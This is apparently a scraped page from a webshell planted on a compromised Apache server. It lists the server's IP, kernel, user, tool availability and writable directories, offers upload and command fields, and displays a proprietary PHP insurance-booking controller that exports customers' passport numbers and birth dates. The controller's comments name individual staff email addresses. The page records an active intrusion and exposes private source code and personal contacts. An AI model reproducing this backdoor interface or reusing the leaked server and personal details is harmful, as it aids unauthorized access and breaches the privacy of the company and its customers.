403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/modules/insurance/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/modules/insurance/controllers/InsuranceBookingsController.php
<?php
/**
 * Copyright 2017 Catabatic Technology Pvt Ltd.
 * All rights reserved
 *
 * @description : BookingsInsuranceController.php 2016/07/07 13:11
 * @author      : Ranvir Singh <ranvir@catpl.co.in>
 * @updated     : 03 May 2017
 */

class Insurance_InsuranceBookingsController extends Catabatic_ValidateAdmin {

    
    public $baseUrl = '';
    protected $insuranceMdl;

    protected $per_page_record = GRID_PER_PAGE_RECORD_COUNT;
    protected $IntermediaryCode;
    
    private $intLoggedinUserId = 0;
    private $intLoggedinUserAgencySysId = 0;

    public $filename;
    public $filename_pb;
    public $folder_path;
    
    private $to_email_for_attachment;
    private $cc_email_for_attachment;
    private $bcc_email_for_attachment;
    private $ARR_SALUTION;

    
    
    public function init() {
        parent::init();
        $this->_helper->layout->disableLayout();
        $this->_helper->_layout->setLayout('layout')->setLayoutPath(APPLICATION_PATH.'/admin/layouts');
        $this->insuranceMdl = new Insurance_Model_Insurance();
        $this->objCommonFunction  = Zend_Controller_Action_HelperBroker::getStaticHelper('CommonFunction');
        $this->baseUrl      = Zend_Controller_Front::getInstance()->getBaseUrl();


        $sessionLogin_user  = new Zend_Session_Namespace('sessionLogin_user');
        $this->intLoggedinUserId            = $sessionLogin_user->intLoggedinUserId;
        $this->intLoggedinUserAgencySysId   = $sessionLogin_user->intLoggedinUserAgencySysId;
        
        
        $this->IntermediaryCode = IntermediaryCode; // this would be static id
        $this->geoLocation  = unserialize(geoLocation);
        $this->ARR_SALUTION = unserialize(ARR_SALUTION);
        
        
         #### Script to send email ####

        $aConfig = $this->getInvokeArg('bootstrap')->getOptions();
        $this->smtpUserName = $aConfig['smtpUserName'];
        $this->smtpPassword = $aConfig['smtpPassword'];
        $this->smtpPort = $aConfig['smtpPort'];
        $this->smtpHost = $aConfig['smtpHost'];
        $this->fromEmail = $aConfig['fromEmail'];
        $this->fromName = $aConfig['fromName'];

        #### Script to send email End ####
        
        $this->filename     = "policy-bookings-dump-".date("d-m-Y");
        $this->filename_pb  = "bulk-policy-dump-".date("d-m-Y-H-i-sA").".xls";
        $this->folder_path  = "public/data/excel_pb/";
        $this->to_email_for_attachment  = INSU_to_email_for_attachment; // varunu@policybazaar.com
        $this->cc_email_for_attachment  = INSU_cc_email_for_attachment; // abhishek@tripsbank.com
        $this->bcc_email_for_attachment = INSU_bcc_email_for_attachment; // kawaljeet@catpl.co.in
        
        
    }

    /**
    * index() method is used to list all insurance bought by the agent
    * @param Null
    * @return Null
    */
    public function indexAction()
    {
        
        $key_encode = $this->getRequest()->getParam("key");
        $key        = base64_decode($key_encode);
        
        $getparam   = $this->getRequest()->getParams();
        
        $customername   = isset($getparam['cname']) ? $getparam['cname'] : '';
        $insurer        = isset($getparam['insurer']) ? $getparam['insurer'] : '';
        $agencySysId    = isset($getparam['agencySysId']) ? $getparam['agencySysId'] : '';
        $startDate      = isset($getparam['startDate']) ? $getparam['startDate'] : '';
        
        $searchArray    = array();
        $searchArray    = array("cname" => $customername, "insurer"=> $insurer, "agencySysId"=> $agencySysId, "startDate" => $startDate);
        $this->view->getparam   = $searchArray;

        $whereArr   = array("t4.IsActive" => 1 );
        $listings   = $this->insuranceMdl->getInsuranceListings($whereArr , $searchArray);
        // insurer listing from db
        $insurers   = $this->insuranceMdl->getRecordListingWhere('TB_Insurance_Company', array('InsuCompSysId','Title'), array('IsActive'=>1,'IsMarkForDelete'=>0), 'Title', "ASC");

        // get agency listings
        $Agency_Listings    = $this->insuranceMdl->getRecordListingWhere('TB_Agency', array('AgencySysId','Title'), array('IsActive'=>1,'IsVarified'=>1,'IsMarkForDelete'=>0), 'Title', "ASC");
//        echo '<pre>'; print_r($listings); die;
        
        # Start : Pagination 
        $page       = $this->_getParam('page', 1);
        $listings  = Zend_Paginator::factory($listings);
        $listings->setItemCountPerPage($this->per_page_record);
        $listings->setCurrentPageNumber($page);
        # End : Pagination 

        $this->view->trxGroupIdURL = $key;
        $this->view->listings   = $listings;
        $this->view->insurers   = $insurers;
        $this->view->Agency_Listings   = $Agency_Listings;
        $this->view->baseUrl    = $this->baseUrl;
        

    }

    
    public function exportAction()
    {
        $autoloader = Zend_Loader_Autoloader::getInstance();
        $autoloader->registerNamespace('PHPExcel_');
        $phpexcel_obj   = new PHPExcel_Classes_Createexcel;

        $WorkSheetTitle = $this->filename;
        $sheetTitle     = $this->filename;

        $arrFieldLabel  = array("Intermediary code","Travelling to","Trip Type","Max Trip Period","Policy Commencement Date","Policy Maturity Date",
            "SumInsured","Insured Mobile number","Insured Address", "Insured email id", "Insured nominee name",
            "Insured Pincode","Insured City","Insured State", "Insured Relation", "Insured  Title","Insured First name", "Insured Last name",
            "Insured DOB", "Insured Passport","Insured PED Q", "Master Policy", "Child Policy", "CRM ID / Member ID",
            "Policy Issue Date","Premium (Net + S.Tax)");

        $listings   = $this->insuranceMdl->exportInExcel();
        
        $arrFieldValue = array();
        foreach( $listings as $key => $listing)
        {
            // date 1 : YYYY-MM-DD, Date 2 : YYYY-MM-DD
            $date1 = date('Y-m-d', strtotime($listing['IssueDate']->format('m/d/Y')));
            $date2 = date('Y-m-d', strtotime($listing['EndDate']->format('m/d/Y')));
            $tripduration = $this->objCommonFunction->calculateDaysBwTwoDates($date1, $date2 );
            
            $passportno = $listing['IDNumber'];
            $policyNo   = (string)$listing['PolicyNo'];
            $CRMID      = substr($listing['NickId'], 0,3)."-".$listing['CustPolicySysId'];
                    
            $arrFieldValue[] = array($this->IntermediaryCode, @$this->geoLocation[trim($listing['GeoLocation'])],"SINGLE", $tripduration , $listing['IssueDate']->format('d-M-y'),
                $listing['EndDate']->format('d-M-y'), "USD".$listing['SumInsured'], "-", $listing['FullAddress'], $listing['Email'], $listing['Nominee'], $listing['Pincode'],
                $listing['City'], $listing['State'], "SELF- PRIMARY MEMBER", $this->ARR_SALUTION[$listing['Salutation']], $listing['FirstName'], $listing['LastName'],
                $listing['DOB']->format('d-M-y'), $passportno, "N", trim($listing['MasterPolicy']), " $policyNo", $CRMID,
                $listing['insuCreateDate']->format('d/m/Y h:i:s a'), $listing['PremiumWithTax']);
        }
        
        $phpexcel_obj->exportToExcel($WorkSheetTitle, $sheetTitle, $arrFieldLabel, $arrFieldValue);
        exit;
    }

    
    public function sendEmailToPbAction()
    {
        $this->_helper->viewRenderer->setNoRender(true);
        $this->_helper->layout->disableLayout();
        
        $autoloader = Zend_Loader_Autoloader::getInstance();
        $autoloader->registerNamespace('PHPExcel_');
        
        $phpexcel_obj   = new PHPExcel_Classes_Createexcel;
        
        $WorkSheetTitle = "Insurance-BulkUpload";
        $sheetTitle     = "Insurance-BulkUpload";
        $arrFieldLabel  = array("Intermediary code","Travelling to","Trip Type","Max Trip Period","Policy Commencement Date","Policy Maturity Date",
            "SumInsured","Insured Mobile number","Insured Address", "Insured email id", "Insured nominee name",
            "Insured Pincode","Insured City","Insured State", "Insured Relation", "Insured  Title","Insured First name", "Insured Last name",
            "Insured DOB", "Insured Passport","Insured PED Q", "Master Policy", "Child Policy", "CRM ID / Member ID", "Policy Issue Date","Premium (Net + S.Tax)");
        

        $today_date = date("Y-m-d");
        $listings   = $this->insuranceMdl->exportForCronEmail($today_date);

        $arrFieldValue = array();
        foreach( $listings as $key => $listing)
        {
            // date 1 : YYYY-MM-DD, Date 2 : YYYY-MM-DD
            $date1 = date('Y-m-d', strtotime($listing['IssueDate']->format('m/d/Y')));
            $date2 = date('Y-m-d', strtotime($listing['EndDate']->format('m/d/Y')));
            $tripduration = $this->objCommonFunction->calculateDaysBwTwoDates($date1, $date2 );
            
            $passportno = $listing['IDNumber'];
            $policyNo   = (string)$listing['PolicyNo'];
            $CRMID      = substr($listing['NickId'], 0,3)."-".$listing['CustPolicySysId'];
             
            $arrFieldValue[] = array($this->IntermediaryCode, @$this->geoLocation[trim($listing['GeoLocation'])],"SINGLE", $tripduration , $listing['IssueDate']->format('d-M-y'),
                $listing['EndDate']->format('d-M-y'), "USD".$listing['SumInsured'], "-", $listing['FullAddress'], $listing['Email'], $listing['Nominee'],
                $listing['Pincode'], $listing['City'], $listing['State'], "SELF- PRIMARY MEMBER", $listing['Salutation'], $listing['FirstName'], $listing['LastName'],$listing['DOB']->format('d-M-y'),
                $passportno, "N", trim($listing['MasterPolicy']), " $policyNo", $CRMID,
                $listing['insuCreateDate']->format('d/m/Y h:i:s a'), $listing['PremiumWithTax']);
        }
        
        
        $phpexcel_obj->filename     = $this->filename_pb;
        $phpexcel_obj->folder_path  = $this->folder_path;
        $phpexcel_obj->saveExcel($WorkSheetTitle, $sheetTitle, $arrFieldLabel, $arrFieldValue);
        
        
        $download_link = $this->baseUrl .'/'. $this->folder_path . $this->filename_pb;
        $bodyText = 'Dear User,<br/>
Please click on the link below to download the Insurance Policies issued today.<br/><br/>

<a href="'. $download_link .'">Download Link</a><br/><br/>

Best Regards,<br/>
GTX Team.';
        $mailSubject    = 'Bulk Insurance Policies';
        $emailId        = $this->to_email_for_attachment;

//        $mailConfig = array(
//            'ssl' => 'ssl',
//            'auth' => 'login',
//            'port' => $this->smtpPort,
//            'username' => $this->smtpUserName,
//            'password' => $this->smtpPassword
//        );

//        $transport = new Zend_Mail_Transport_Smtp($this->smtpHost, $mailConfig);

//        $emailId    = $this->to_email_for_attachment;
//        $mail = new Zend_Mail("iso-8859-1");
//        $mail->addTo($emailId)
//                ->addCc($this->cc_email_for_attachment)
//                ->addBcc($this->bcc_email_for_attachment)
//                ->setSubject('Bulk Insurance Policies')
//                ->setBodyHtml($bodyText)
//                ->setFrom($this->fromEmail, $this->fromName);
        
        # prepare attachment
//        $content    = file_get_contents($this->folder_path.$this->filename_pb); // e.g. ("attachment file path")
//        $attachment = new Zend_Mime_Part($content);
//        $attachment->type       = 'application/octet-stream';
//        $attachment->disposition= Zend_Mime::DISPOSITION_ATTACHMENT;
//        $attachment->encoding   = Zend_Mime::ENCODING_BASE64;
//        $attachment->location   = $this->folder_path.$this->filename_pb; // file location
//        $attachment->filename   = $this->filename_pb; // name of file

//        $mail->addAttachment($attachment);
        

        // new mail integration prepare the config array
                $emailData = array(
                    'fromEmail'=>$this->fromEmail,
                    'fromName'=>$this->fromName,
                    'subject'=>$mailSubject,
                    'to'=> array( $emailId , $this->cc_email_for_attachment , $this->bcc_email_for_attachment ),
//                    'to'=> array( 'ranvir@catpl.co.in' ),
                    'bodyHtml'=>$bodyText,
                    'bodyText'=>''
                );
        
        try {
			 $arrEmailStatisticsType = array_keys(unserialize(ARR_EMAIL_STATISTICS_TYPE));
				$arrEmailStatistics = array(
					"TPSysId" => 0,
					"TypeSysId" => 1,  // 1 For Email 2 For SMS
					"AgencySysId" => 0,
					"AgentSysId" => 0,
					"Title" => '',
					"Source" => $arrEmailStatisticsType[2], // 7 For Misc Proposal
					"Status" => 0,
					"RefSysId" => "",
					"RefSysStatus" => "",
					"CreateDate" => date('Y-m-d H:i:s')
				);

            $this->mailSentByElastice($emailData,$arrEmailStatistics); // send mail
//            $mail->send($transport);
            echo 'Email attachment has been sent.';
            echo '<script type="text/javascript">window.close();</script>';
        } catch (Exception $err) {
            print_r($err, true);
        }        

    }

    
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit